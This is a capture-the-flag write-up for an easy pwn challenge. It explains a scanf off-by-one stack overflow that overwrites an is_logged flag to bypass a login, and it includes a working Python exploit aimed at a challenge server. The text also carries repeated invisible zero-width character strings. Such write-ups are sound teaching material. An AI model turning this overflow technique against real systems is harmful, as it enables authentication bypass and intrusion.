← Back to Writeups
CUSTOMEasypwn

Вход не для всех (Entry is not for everyone)

XESXOR9/2/20263 min read
#pwn#custom#easy#buffer-overflow-to-overwrite-a#input-buffer-manipulation-for-#scanf()-buffer-size-mismatch-e#static-binary-analysis-with-ob#linux

Вход не для всех (Entry is not for everyone)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: Buffer overflow to overwrite adjacent stack variable, Input buffer manipulation for menu selection, scanf() buffer size mismatch exploitation, Static binary analysis with objdump

Summary

Task: Binary with login system using scanf("%176s") for password input. Solution: Buffer overflow overwrites adjacent is_logged variable on stack, bypassing authentication to get flag.

Вход не для всех (Entry is not for everyone) - HackerLab

Description

Дружище, сможешь ли ты пройти мою новую систему защиты? :sunglasses:

Binary file implements an authentication system with login and password.

Analysis

File Information

bash
$ file task.elf
task.elf: ELF 64-bit LSB pie executable, x86-64, dynamically linked

Program Structure

The program implements a simple login system:

  1. Requests login (hardcoded: "admin")
  2. Requests password (verified via MD5 hash)
  3. After successful login shows menu:
    • Get flag
    • Echo
    • Exit ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

Analysis with objdump revealed a critical vulnerability:

scanf("%176s", password)  // Reads up to 176 characters

Stack variable layout:

  • password buffer: -0xb0(%rbp) = 176 bytes from rbp
  • is_logged variable: -0x1(%rbp) = 1 byte from rbp

Offset: 0xb0 - 0x1 = 0xAF = 175 bytes

This means scanf reads exactly 176 characters, and the last character overwrites the is_logged variable!

Stack Layout

High addresses
+------------------+
|      rbp         |
+------------------+
|   is_logged (1)  | <- -0x1(%rbp)
+------------------+
|                  |
|   password[176]  | <- -0xb0(%rbp)
|                  |
+------------------+
Low addresses

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

scanf and fgetc Interaction

Key exploitation point:

  1. scanf("%176s") reads up to 176 non-whitespace characters
  2. Stops on whitespace or after 176 characters
  3. Remaining data stays in input buffer
  4. fgetc() for menu selection reads the next character from the same buffer

Solution

Exploitation Strategy

  1. Send login "admin"
  2. Send payload: 175 bytes padding + "\x01" + "1\n"
  3. scanf reads 176 bytes (padding + \x01), setting is_logged = 1
  4. "1\n" remains in buffer
  5. fgetc reads "1" as menu choice
  6. Program calls print_flag() ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit

python
#!/usr/bin/env python3
"""
Exploit for "Вход не для всех" (Entry is not for everyone)
HackerLab PWN Challenge

Vulnerability: Buffer overflow in scanf("%176s") allows overwriting is_logged variable
"""

import socket
import time

def exploit():
    HOST = '62.173.140.174'
    PORT = 27780
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(10)
    s.connect((HOST, PORT))
    
    # Receive login prompt
    s.recv(4096)
    
    # Send login
    s.send(b"admin\n")
    time.sleep(0.2)
    s.recv(4096)
    
    # Exploit payload:
    # - 175 bytes padding (to reach is_logged variable)
    # - \x01 to set is_logged = 1 (bypass password check)
    # - "1" as menu choice (Get flag)
    # - "\n" to complete input
    #
    # scanf("%176s") reads exactly 176 bytes (padding + \x01)
    # "1\n" remains in buffer
    # First fgetc() reads "1" as menu choice
    # Second fgetc() reads "\n" (consumed)
    # Program calls print_flag()
    
    payload = b"A" * 175 + b"\x01" + b"1\n"
    s.send(payload)
    time.sleep(0.5)
    
    # Receive flag
    response = s.recv(4096).decode()
    print(response)
    
    # Extract flag
    if "CODEBY{" in response:
        start = response.find("CODEBY{")
        end = response.find("}", start) + 1
        flag = response[start:end]
        print(f"\n[+] FLAG: {flag}")
    
    s.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

Lessons

  1. scanf width specifier: %176s reads UP TO 176 characters, not 175. This is an off-by-one in developer's understanding.

  2. Stack layout matters: Variables on stack are placed in declaration order. Buffer before flag = potential vulnerability.

  3. Input buffer sharing: scanf and fgetc use the same stdin buffer. Data after scanf remains available for fgetc.

  4. Static analysis: objdump is sufficient to understand the vulnerability without running the binary. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍